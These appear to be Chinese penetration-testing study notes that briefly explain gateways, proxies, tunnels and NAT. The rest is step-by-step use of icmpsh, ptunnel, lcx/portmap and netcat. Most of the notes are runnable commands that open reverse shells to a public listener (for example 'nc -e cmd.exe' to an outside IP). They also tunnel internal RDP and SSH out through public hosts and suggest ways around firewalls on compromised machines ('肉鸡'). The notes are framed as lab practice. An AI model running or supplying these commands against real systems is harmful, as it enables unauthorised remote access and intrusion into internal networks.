概念
网关
必须经过
用来进行路由转发的设备,网关的作用是让不同网段之间能够通信
代理
委托访问
无论代理后面挂了几台设备,都认为是从代理进行访问,对外只表现为代理一台。外部认为是与代理进行交互
隧道
网络虫洞
隧道是一个网络的虚拟路径,使得入口的数据能够穿越到隧道的出口进行通信
代理与NAT的区别
Ⅰ 从应用上讲, NAT 设备是网络基础设备之一, 解决的是IP不足的问题,代理服务器则是更贴近具体应用,比如: 通过代理服务器进行”翻墙”, 另外像迅游这样的加速器, 也是使用代理服务器实现的
Ⅱ 从底层实现上讲, NAT 是工作在网络层的, 直接对IP地址进行替换
代理服务器往往工作在应用层
Ⅲ 使用范围上讲, NAT 一般在局域网的出口部署
代理服务器可以在局域网做, 也可以在广域网做, 也可以跨网
Ⅳ从部署位置上看, NAT 一般集成在防火墙, 路由器等硬件设备上
代理服务器则是一个软件程序, 需要部署在服务器上
Ⅴ 从功能上讲,proxy=代理商,先要看你买啥,清楚了后再帮你买,可能直接从库房中提货,也可能去其它地方调货,也有可能不代理你要买的货。Proxy针对每一种应用设置代理服务器,或者安装一个客户端软件,设置相对复杂一些.并且并不一定支持所有的应用,如VPN客户端登录很多Proxy就无法代理应用.
nat=货运码头,管你是啥货,只管发就是了,NAT设置简单,无需客户端软件
icmpsh
安装
下载地址
https://github.com/bdamele/icmpsh
环境安装
#之前安装过pip2的话直接安装这个就可以 省去其他步骤
pip2 install impacket -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn/simple
#安装需要的python库文件
#没安装过的pip2的情况
把可执行程序放到/usr/bin/目录下, 可以快速启用(可以重命名)
需要在同网段下去做, 如果端口受到限制, 那我们就可以用ICMPSH这款工具去反弹shell
前提: ping未被禁用
依赖环境: python-impacket(python2版本的)
pip install --upgrade pip
pip install --upgrade setuptools
pip2 install impacket -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn/simple
参数
-h 帮助
-t target --> 目标IP地址
-d delay 500 --> 延迟的毫秒数
-s bytes 128 --> 缓冲区的大小
-b max blank 30 --> 最大的空白数(未应答的ICMP请求最大数量)
使用方法
1. 现在kali设置ping代替应答 (必做)
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#sysctl:动态地修改内核的运行参数
2. 开启监听
python2 icmpsh_m.py s_ip d_ip (在kali上)
#icmpsh_m.py 192.168.0.105 192.168.0.102
#得用python2,不然会报错
3. 反弹shell
icmpsh.exe -t kali地址 -d 500 -s 128 -b 30 (在靶机上)
#icmpsh.exe -t 192.168.0.105 -d 500 -s 128 -b 30
#直接加上-t就可以运行,其他参数可要可不要
4.做完之后改回代替应答, 不然会出现ping不通其他主机的情况
sysctl -w net.ipv4.icmp_echo_ignore_all=0
ptunnel
环境准备
kali、跳板机Ubuntu、win7 ---kali内置有Ptunnel
Uubuntu: Ptunnel文件赋予权限即可
Ubuntu:两张网卡、一张nat、一张仅主机,win7:仅主机,kali:NAT模式
vm: vmnet0(桥接, 连通物理网段, 与物理机处于同一网段), vmnet1(仅主机模式, 只能ping通同一网段的机器) , vmnet8(nat)
参数
-p: 同网段远程服务器的ip地址(跳板ip)
-lp: 本地监听的端口(本地监听的端口)
-da: 目标的ip
-dp: 目标的端口
-x: 添加密码
-v: 显示详细的参数信息
操作
kali:ptunnel -x 12345 -p 192.168.21.132 -lp 6666 -da 192.168.48.138 -dp 3389
跳板机: ptunnel -x 12345
访问目标机: rdesktop 127.0.0.1:6666
报错
得把这个身份验证取消掉,不然会报错
报错信息:Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Failed to connect, CredSSP required by server (check if server has disabled old TLS versions, if yes use -V option).
LCX
环境准备
KALI、跳板机、win7
参数
-listen 本地监听的端口(51) 要转发的端口(3389)
-slave 连接ip(跳板机ip) 连接的端口(51) 要传输的ip(127.0.0.1) 要转发的端口(3389)
-tran 用于做多层跳板的
使用方法
跳板机
#Windows:
lcx.exe -listen 1234 4321
#Linux:
cd /home/kali/Desktop/lcx_vuln.cn_/lcx_vuln.cn
#进入到lcx文件夹
#kali
./portmap -m 2 -p1 1234 -p2 4321
#开始监听1234传来的数据,然后监听4321端口提供访问
#windows
lcx -listen 3333 2222
内网主机
lcx.exe -slave 192.168.150.129(跳板机地址) 1234 127.0.0.1 3389/80/21
lcx.exe -slave 跳板机地址 跳板机的第一个端口 127.0.0.1 需要转发的本机端口
#将本机的3389端口转发给192.168.150.129的1234端口
访问
mstsc 跳板机ip:4321
rdesktop 跳板机ip:4321
浏览器->跳板机:4321
绕过防火墙思路
lcx -tran 53 肉鸡ip 3389
#由于3389可能被防火墙限制,可以换成其他端口
让任意主机可以通过连接公网连接靶机的内网
./portmap -m 2 -p1 6666 -h2 公网主机ip -p2 8888
#监听来自6666端口的请求,将其转发到8888端口
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 123.56.167.72 -p2 6666
#将内网主机22端口的流量转发到公网主机的6666端口上
#这一步报错的话可能就是自己的ssh服务没打开。我的kali服务是没有打开的,所以被连接的时候就会报错。也有可能是没有安装这个ssh-server
ssh 用户名@公网ip -p 8888
#在任意主机使用ssh连接8888端口,就可以连接到内网主机
NC
常用参数
-c | -e: 执行命令或者程序,常用于反弹shell
-l:使用监听模式
-p:设定端口
-z:使用0输入输出,常用于端口开放检测,(连上立即断开)
-v -vv: 显示执行过程详细信息 / 更详细的信息
-n:仅显示数字的ip地址,不显示DNS信息
环境准备
Kali,跳板机(windosw7)、客户端
使用方法
服务端
nc -lvvp 4321
跳板机
要windows,如果使用linux可能会出现问题。靶机和跳板机的类型要求要一样的
nc -v 192.168.200.129 4321 -e "C:\Users\hackbiao\Desktop\netcat-win32-1.12\nc.exe -v 192.168.150.131 4444"
#端口一定要跟上 不然会报错
客户端
客户端 Linux- > ./nc -lvvp 5555 -e /bin/bash
客户端 Windows-> nc.exe -lvvp 4444 -e cmd
注意
因为这里有一个中间代理进行转发,所以获取会话的速度较慢。连接成功之后dir什么的都没有反应,可以先查看systeminfo,这样字命令行就恢复了正常。
使用公网监听内网主机
反向连接
在公网主机开启监听
nc -lvvp 4444
再内网主机执行
nc -t -e cmd.exe 公网ip 4444
#加不加-t参数都是可以的
#-e后面跟上的是要弹出去命令,跟上powershell也是可以的